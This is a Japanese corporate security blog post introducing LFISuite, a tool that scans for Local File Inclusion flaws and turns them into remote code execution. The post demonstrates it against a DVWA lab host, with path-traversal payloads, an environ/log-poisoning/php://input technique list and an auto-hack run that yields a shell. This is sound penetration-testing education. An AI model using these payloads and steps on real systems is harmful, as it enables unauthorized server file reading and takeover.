Japan
サイト内の現在位置
ペネトレーションツールの紹介 ~LFISuite~
NECセキュリティブログ2021年6月11日
NECサイバーセキュリティ戦略本部セキュリティ技術センターの長浜です。
今回は、ペネトレーションテストツールとして便利な「LFISuite」について紹介いたします。
LFISuiteとは
LFISuite[1](※)は、自動的にLFI(Local File Inclusion:サーバ内のファイルの不正な参照)の脆弱性スキャンやRCE(Remote Code Execution:リモートコード実行)のexploitを実行できるツールです。本ツールは、ペネトレーションテストでLFIの脆弱性スキャンに用いるだけではなく、開発したWebサイトにLFIの脆弱性が存在するか確認する際に利用できます。
(※)ライセンスはGPLv3です。
個別の機能を以下でご紹介いたします。
機能紹介
LFI脆弱性スキャン
任意の辞書ファイルとスキャン対象のURLを指定すると自動的にLFIの脆弱性スキャンができます。
RCEのexploitの実行
下記の8つのLFIを起因とするRCEを用いてOSコマンドを実行します。
- /proc/self/environ
User-AgentにPHPコードを埋め込むことで、/proc/self/environに送信したPHPコードが書き込まれます。LFIを用いて対象ファイルにアクセスするとPHPコードが実行され、OSコマンドが実行できます。 - access.log
GETリクエストにPHPコードを埋め込むことで、access.logにアクセスするとPHPコードが書き込まれます。access.logを表示すると、OSコマンドが実行できます。 - /proc/self/fd/(数字)
/proc/self/fd/(数字)には、/dev/fdがシンボリックリンクされています。例えば、/dev/stdin、/dev/stdout、/dev/stderrは、0、1、2の順でリンクされています。Apacheなどのaccess.logが/proc/self/fd/(数字)に出力設定している場合、access.logと同じ手順でOSコマンドが実行できます。 - phpinfo
phpinfoの設定において、file_uploadsが有効になっている場合、PHPコードをアップロードできます。LFIを用いてアップロードしたファイルを表示させることでPHPコードを実行できます。[2]
- data://
インラインでPHPコードを送り込むことでOSコマンドが実行できます。 - expect://
プロセスの標準入出力へpty経由でアクセスすることができます。本機能を用いることでOSコマンドが実行できます。 - input://
POSTリクエストbodyにPHPコードを埋め込むことでOSコマンドが実行できます。 - filter://
フィルタの対象を指定し、ファイルの読み書きなどの機能を用いてOSコマンドが実行できます。
これらの機能に加え、auto-hackモードがあり、LFIの脆弱性スキャンからRCE実行まで一気通貫で実施することができます。
デモ
デモ環境
スキャン対象ホスト
- OSイメージ:DVWA v1.0.7
[3]
スキャン元ホスト
- OSイメージ:Kali Linux 2020.2
- Python 2.7
LFISuiteの準備
LFISuiteの準備としてGitからツールをダウンロードします。環境準備ができていれば、ライブラリの自動インストール後、LFISuiteが動作します。
$ git clone https://github.com/D35m0nd142/LFISuite.git
$ cd LFISuite/
$ ls
CHANGELOG.md COPYING.GPL lfisuite.py nc.exe pathtotest_huge.txt pathtotest.txt pipper.py README.md screen.png socks.py
$ python lfisuite.py
(snip)
/*-------------------------------------------------------------------------*\
| Local File Inclusion Automatic Exploiter and Scanner + Reverse Shell |
| |
| Modules: AUTO-HACK, /self/environ, /self/fd, phpinfo, php://input, |
| data://, expect://, php://filter, access logs |
| |
| Author: D35m0nd142, <d35m0nd142@gmail.com> https://twitter.com/d35m0nd142 |
\*-------------------------------------------------------------------------*/
[*] Checking for LFISuite updates..
[-] No updates available.
--------------------
1) Exploiter
2) Scanner
x) Exit
--------------------
->
LFI脆弱性スキャンデモ
まずは、LFIの脆弱性スキャンの手順を見ていきます。
1.スキャン実施前にDVWAにログインしcookie情報を準備します。今回は以下の情報を用いました。
PHPSESSID=rj2palliv67so3oojcv1v16es7;security=low
2. LFISuiteでスキャン対象とするURLを確認します。
今回のデモでは、DVWA内のLFIの脆弱性が存在するURLを指定します。
個別の検査の際には、GETパラメータでファイル名を入力しているURLを指定する必要があります。
http://192.168.185.133/vulnerabilities/fi/?page=

3. LFISuiteを実行します。
必要事項を入力するとスキャンが開始されます。スキャンが終了すると脆弱なポイントがまとめて提示されます。今回はLFISuiteに実装されている辞書ファイルをそのまま利用しましたが、自身が用意した辞書ファイルでも検査することができます。
$ python lfisuite.py
(snip)
[*] Checking for LFISuite updates..
[-] No updates available.
--------------------
1) Exploiter
2) Scanner
x) Exit
--------------------
-> 2
[*] Enter cookies if needed (ex: 'PHPSESSID=12345;par=something') [just enter if none] ->
PHPSESSID=rj2palliv67so3oojcv1v16es7;security=low
[?] Do you want to enable TOR proxy ? (y/n) n
.:: LFI Scanner ::.
[*] Enter the name of the file containing the paths to test [default: 'pathtotest.txt'] ->
[*] Enter the URL to scan (ex: 'http://site/vuln.php?id=') ->
http://192.168.185.133/vulnerabilities/fi/?page=
[+] 'http://192.168.185.133/vulnerabilities/fi/?page=/etc/passwd' [Vulnerable]
[-] 'http://192.168.185.133/vulnerabilities/fi/?page=../logs/access_log' [Not vulnerable]
[-] 'http://192.168.185.133/vulnerabilities/fi/?page=../logs/error_log' [Not vulnerable]
[-] 'http://192.168.185.133/vulnerabilities/fi/?page=/etc/shadow' [Not vulnerable]
[+] 'http://192.168.185.133/vulnerabilities/fi/?page=/etc/group' [Vulnerable]
(snip)
[-] 'http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../../../../../../../../../../var/log/httpd-access.log%00' [Not vulnerable]
[-] 'http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../../../../../../../../../../../var/log/httpd-access.log%00' [Not vulnerable]
[-] 'http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../../../../../../../../../../../../var/log/httpd-access.log%00' [Not vulnerable]
[-] 'http://192.168.185.133/vulnerabilities/fi/?page= ' [Not vulnerable]
[+] Retrieved 40 interesting paths.
Logs: [4]
------------------------------------------------------------------------------------------
http://192.168.185.133/vulnerabilities/fi/?page=/opt/lampp/logs/access_log
http://192.168.185.133/vulnerabilities/fi/?page=../../../logs/access_log
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../../../../../../../../../../opt/lampp/logs/access_log%00
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../../../../../../../../../../opt/lampp/logs/access_log
------------------------------------------------------------------------------------------
/proc/self/environ: [0]
------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------
/proc/self/fd: [2]
------------------------------------------------------------------------------------------
http://192.168.185.133/vulnerabilities/fi/?page=/proc/self/fd/10
http://192.168.185.133/vulnerabilities/fi/?page=/proc/self/fd/11
------------------------------------------------------------------------------------------
Configuration: [0]
------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------
Generic: [34]
------------------------------------------------------------------------------------------
http://192.168.185.133/vulnerabilities/fi/?page=/etc/passwd
http://192.168.185.133/vulnerabilities/fi/?page=/etc/group
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../etc/passwd
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../etc/passwd
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../../etc/passwd
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../../../etc/passwd
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../../../../etc/passwd
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../../../../../etc/passwd
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../../../../../../etc/passwd
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../../../../../../../etc/passwd
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../../../../../../../../etc/passwd
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../../../../../../../../../etc/passwd
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../../../../../../../../../../../etc/passwd
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../etc/passwd%00
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../etc/passwd%00
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../../etc/passwd%00
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../../../etc/passwd%00
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../../../../etc/passwd%00
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../../../../../etc/passwd%00
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../../../../../../etc/passwd%00
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../../../../../../../etc/passwd%00
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../../../../../../../../etc/passwd%00
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../../../../../../../../../etc/passwd%00
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../../../../../../../../../../../etc/passwd%00
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../etc/group
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../etc/group
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../../etc/group
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../../../etc/group
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../../../../etc/group
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../../../../../etc/group
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../../../../../../etc/group
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../../../../../../../etc/group
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../../../../../../../../etc/group
http://192.168.185.133/vulnerabilities/fi/?page=../../../../../../../../../../../../../../etc/group
------------------------------------------------------------------------------------------
以上でスキャンのデモは終了となります。
今回は、脆弱性があるシステムに対してスキャンを実施いたしましたが、自身で作成したWebサービスをリリースする前のスキャンにも本ツールは有用と考えています。
LFI to RCEデモ
本ツールでは、スキャンだけではなくLFIの脆弱性に対してRCEを実行し、OSコマンドを実行することができます。
- 1.LFIの脆弱性スキャンの際と同様に必要な情報を準備します。
- 2.LFISuiteを実行します。
今回はAuto-hackを用いてRCEを実行していきます。このモードはスキャンを実施後、exploit可能な脆弱性に対してInjectionの実行を自動で行います。
$ python lfisuite.py
(snip)
[*] Checking for LFISuite updates..
[-] No updates available.
--------------------
1) Exploiter
2) Scanner
x) Exit
--------------------
-> 1
[*] Enter cookies if needed (ex: 'PHPSESSID=12345;par=something') [just enter if none] ->
PHPSESSID=rj2palliv67so3oojcv1v16es7;security=low
[?] Do you want to enable TOR proxy ? (y/n) n
.:: LFI Exploiter ::.
____________________________
Available Injections
____________________________
1) /proc/self/environ
2) php://filter
3) php://input
4) /proc/self/fd
5) access_log
6) phpinfo
7) data://
8) expect://
9) Auto-Hack
x) Back
____________________________
-> 9
.:: Auto Hack ::.
[*] Enter the URL you want to try to hack (ex: 'http://site/vuln.php?id=') -> http://192.168.185.133/vulnerabilities/fi/?page=
.:: LFI Scanner ::.
[*] Enter the name of the file containing the paths to test [default: 'pathtotest.txt'] ->
(snip スキャンの結果と同様な出力が得られます。)
[*] Trying to exploit php://input wrapper on
'http://192.168.185.133/vulnerabilities/fi/?page='..
[+] The website seems to be vulnerable. Opening a Shell..
[If you want to send PHP commands rather than system commands add php:// before them (ex: php:// fwrite(fopen('a.txt','w'),"content");]
nobody@192.168.185.133:/opt/lampp/htdocs/vulnerabilities/fi$ cd ../
nobody@192.168.185.133:/opt/lampp/htdocs/vulnerabilities/fi$ ls
help
include.php
index.php
source
nobody@192.168.185.133:/opt/lampp/htdocs/vulnerabilities/fi$
シェルを奪取できました。LFISuiteでは、コマンドを入力するたびに初期化する仕様となっています。その仕様を確認するため、Wiresharkを使ってExploitの内容を確認します。

Wiresharkの通信内容を見てみると、確かにコマンドを実行するたびにphp://inputの脆弱性を利用してOSコマンドを実行していることが確認できました。
CTFやHackTheBox[4]で本ツールを利用する際は、別途ReverseShellファイルを転送する必要はあります。
ツールの紹介は以上となります。
所感
- LFIの脆弱性を確認するための辞書ファイルが準備されていたので、本ツールをインストールすることで、すぐ検査に利用できるのは非常に便利でした。
- 辞書ファイルについては、Linux系のディレクトリ構成は多く、Windows系のディレクトリ構成が少ないため、自身で調査し登録する必要がありそうです。
- LFIのRCE可能なexploitを自動で実行する機能は、網羅的な検査という観点で非常に有用と感じました。
最後に
本ツールを利用することでLFIの脆弱性を網羅的に確認することができます。
セキュリティ検査だけではなく、開発したソフトウェアの検査にも有用なツールですので、様々な業務の役に立つのではないかと思います。
以上、LFISuiteの紹介でした。
参考資料
執筆者プロフィール
長浜 佑介(ながはま ゆうすけ)
セキュリティ技術センター リスクハンティングチーム
主にペネトレーションテスト、脆弱性診断などを担当しNECグループのセキュア開発・運用を推進。
2020年6月にIPA 産業サイバーセキュリティセンター中核人材育成プログラムを修了。
情報処理安全確保支援士(RISS)を保持。

執筆者の他の記事を読む
アクセスランキング
2025年3月30日~4月5日に読まれた記事のランキング